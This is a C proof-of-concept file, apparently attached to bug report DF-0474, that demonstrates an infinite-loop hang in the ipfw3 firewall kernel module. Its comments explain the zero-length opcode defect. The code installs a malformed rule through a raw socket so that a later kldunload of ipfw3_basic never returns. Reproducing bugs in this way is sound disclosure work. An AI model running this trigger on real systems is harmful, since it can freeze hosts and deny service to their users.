DF-0474 / df0474_install.c
/* * DF-0474 - ipfw3 zero-length opcode infinite loop (PATH A: unregister) * * This is the cleanest demonstration: install ONE rule whose cmd has * F_LEN(cmd)==0, then kldunload ipfw3_basic. ip_fw3_unregister_module * (sys/net/ipfw3/ip_fw3.c:188-238) iterates the rule chain at :201-204: * * for (len = fw->cmd_len, cmd = fw->cmd; len > 0; * len -= cmdlen, * cmd = (ipfw_insn *)((uint32_t *)cmd + cmdlen)) { * cmdlen = F_LEN(cmd); * if (cmd->module == 0 && ...) * ... * } * * With F_LEN(cmd)==0, cmdlen=0, len never decreases, cmd never advances, * and the loop spins forever. NO filter_funcs / function pointers are * involved in this path -- it's a pure data-loop hang. The kldunload(2) * syscall never returns. * * The same defect exists in ip_fw3_chk's inner loop (:493-495), but that * path requires reaching a non-terminating filter (needs ipfw3_basic * filter_funcs to be populated) and is more fragile to demonstrate. The * unregister path is unconditional -- it only reads cmd->module/opcode. * * Build: cc -o df0474_install df0474_install.c * Run: ./df0474_install # installs the buggy rule and exits * Then: kldunload ipfw3_basic # HANGS (bug) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define IP_FW_X 49 #define IP_FW_ADD 50 struct ipfw_insn { uint8_t o,l; uint16_t a1; uint8_t m,a3; uint16_t a2; } __packed; struct ip_fw_x_header { uint16_t op, pad; } __packed; struct ipfw_ioc_rule { uint16_t act_ofs, cmd_len, rulenum; uint8_t set, insert; uint32_t sets; uint64_t pcnt, bcnt; uint32_t ts; struct ipfw_insn cmd[8]; } __packed; struct msg { struct ip_fw_x_header h; struct ipfw_ioc_rule r; } __packed; int main(void) { int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s<0){perror("socket");return 2;} struct msg m; memset(&m,0,sizeof(m)); m.h.op = IP_FW_ADD; m.r.act_ofs = 0; m.r.cmd_len = 2; /* 1 insn = 2 uint32_t words */ m.r.rulenum = 100; /* cmd[0]: len=0x80 (F_NOT | F_LEN=0) -- the bug trigger. opcode/module values are irrelevant for the unregister hang; the loop body just reads them but never advances when F_LEN=0. */ m.r.cmd[0].o = 0; /* O_BASIC_ACCEPT -- doesn't matter */ m.r.cmd[0].l = 0x80; /* F_NOT | F_LEN=0 */ m.r.cmd[0].m = 0; m.r.cmd[0].a1 = 0; if (setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m))<0) { perror("setsockopt"); return 2; } printf("[+] DF-0474: installed rule 100 with cmd[0].len=0x80 (F_LEN=0)\n"); printf("[+] The rule is now in fw3_ctx[mycpuid]->rules on all CPUs.\n"); printf("[+] Run 'kldunload ipfw3_basic' to trigger the infinite loop\n"); printf(" in ip_fw3_unregister_module at ip_fw3.c:201-204.\n"); close(s); return 0; } |